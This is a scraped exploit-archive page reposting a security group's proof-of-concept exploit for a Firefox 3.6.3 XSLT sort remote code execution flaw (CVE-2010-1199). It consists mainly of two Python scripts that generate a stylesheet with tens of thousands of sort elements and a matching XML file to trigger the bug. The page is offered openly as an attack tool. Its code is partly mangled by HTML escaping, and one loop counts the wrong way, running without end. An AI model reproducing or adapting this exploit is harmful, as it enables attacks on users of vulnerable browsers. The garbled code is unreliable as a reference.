Home / os / win7

Mozilla Firefox XSLT Sort Remote Code Execution Vulnerabilit

Posted on 09 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================
Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
=============================================================

  Title             : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
  Version           : Firefox 3.6.3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.mozilla.com
  Impact            : High/Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-1199
'''
import sys;
 
myStyle = &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;xsl:stylesheet version=&quot;1.0&quot;
    xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:output method=&quot;html&quot;/&gt;
&lt;xsl:template match=&quot;/&quot;&gt;
 &lt;html&gt;
  &lt;head&gt;
   &lt;title&gt;Beatles&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
   &lt;table border=&quot;1&quot;&gt;
   &lt;xsl:for-each select=&quot;beatles/beatle&quot;&gt;
&quot;&quot;&quot;
 
BlockCount = 43000
 
count = 1
while(count&lt;BlockCount):
    myStyle = myStyle + &quot;&lt;xsl:sort select='name/abysssec&quot;+str(count)+&quot;' order='descending'/&gt;
&quot;
    count = count + 1
 
myStyle = myStyle +&quot;&quot;&quot;
    &lt;tr&gt;
    &lt;td&gt;&lt;a href=&quot;{@link}&quot;&gt;&lt;xsl:value-of select=&quot;name/lastname&quot;/&gt;&lt;/a&gt;&lt;/td&gt;
    &lt;td&gt;&lt;a href=&quot;{@link}&quot;&gt;&lt;xsl:value-of select=&quot;name/firstname&quot;/&gt;&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
   &lt;/xsl:for-each&gt;
   &lt;/table&gt;
  &lt;/body&gt;
 &lt;/html&gt;
&lt;/xsl:template&gt;
 
&lt;/xsl:stylesheet&gt;
    &quot;&quot;&quot;
cssFile = open(&quot;abysssec.xsl&quot;,&quot;w&quot;)
cssFile.write(myStyle)
cssFile.close()

  Title             : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
  Version           : Firefox 3.6.3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.mozilla.com
  Impact            : High/Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-1199
  MOAUB Number      : MOAU_09_BA
'''
import sys;
 
myStyle = &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;?xml-stylesheet href=&quot;abysssec.xsl&quot; type=&quot;text/xsl&quot;?&gt;
&lt;beatles&gt;
 
&quot;&quot;&quot;
block = &quot;&quot;&quot;
 &lt;beatle link=&quot;http://www.johnlennon.com&quot;&gt;
  &lt;name&gt;
&quot;&quot;&quot;
BlockCount = 2147483647
rowCount=10
#myStyle = myStyle + &quot;&lt;tree id='mytree' flex='1' rows='&quot;+str(rowCount)+&quot;'&gt;
&quot;
count = 1
while(count&lt;BlockCount):
    myStyle = myStyle + &quot;&quot;&quot;
    &lt;beatle link=&quot;http://www.johnlennon.com&quot;&gt;
    &lt;name&gt;
    &quot;&quot;&quot;
    myStyle = myStyle + &quot; &lt;firstname&gt;&quot;+&quot;A&quot;*rowCount+&quot;&lt;/firstname&gt;
&quot;
    myStyle = myStyle + &quot;&quot;&quot;
         &lt;lastname&gt;Lennon&lt;/lastname&gt;
      &lt;/name&gt;
     &lt;/beatle&gt;
     &lt;beatle link=&quot;http://www.paulmccartney.com&quot;&gt;
      &lt;name&gt;&quot;&quot;&quot;
 
    myStyle = myStyle + &quot; &lt;firstname&gt;&quot;+&quot;B&quot;*rowCount+&quot;&lt;/firstname&gt;
&quot;
    myStyle = myStyle +  &quot;&quot;&quot;   &lt;lastname&gt;McCartney&lt;/lastname&gt;
      &lt;/name&gt;
     &lt;/beatle&gt;
     &lt;beatle link=&quot;http://www.georgeharrison.com&quot;&gt;
      &lt;name&gt;
      &quot;&quot;&quot;
    myStyle = myStyle + &quot; &lt;firstname&gt;&quot;+&quot;C&quot;*rowCount+&quot;&lt;/firstname&gt;
&quot;
    myStyle = myStyle + &quot;&quot;&quot;
       &lt;lastname&gt;Harrison&lt;/lastname&gt;
      &lt;/name&gt;
     &lt;/beatle&gt;
     &lt;beatle link=&quot;http://www.ringostarr.com&quot;&gt;
      &lt;name&gt;
      &quot;&quot;&quot;
    myStyle = myStyle + &quot; &lt;firstname&gt;&quot;+&quot;D&quot;*rowCount+&quot;&lt;/firstname&gt;
&quot;
    myStyle = myStyle + &quot;&quot;&quot;
       &lt;lastname&gt;Starr&lt;/lastname&gt;
      &lt;/name&gt;
     &lt;/beatle&gt;
     &lt;beatle link=&quot;http://www.webucator.com&quot; real=&quot;no&quot;&gt;
      &lt;name&gt;
      &quot;&quot;&quot;
    myStyle = myStyle + &quot; &lt;firstname&gt;&quot;+&quot;E&quot;*rowCount+&quot;&lt;/firstname&gt;
&quot;
    myStyle = myStyle +&quot;&quot;&quot;
       &lt;lastname&gt;Dunn&lt;/lastname&gt;
      &lt;/name&gt;
     &lt;/beatle&gt;
  
    &quot;&quot;&quot;
    count = count - 1
 
myStyle = myStyle +&quot;&quot;&quot;
    &lt;/beatles&gt;
    &quot;&quot;&quot;
cssFile = open(&quot;abyssssec.xml&quot;,&quot;w&quot;)
cssFile.write(myStyle)
cssFile.close()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-09]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :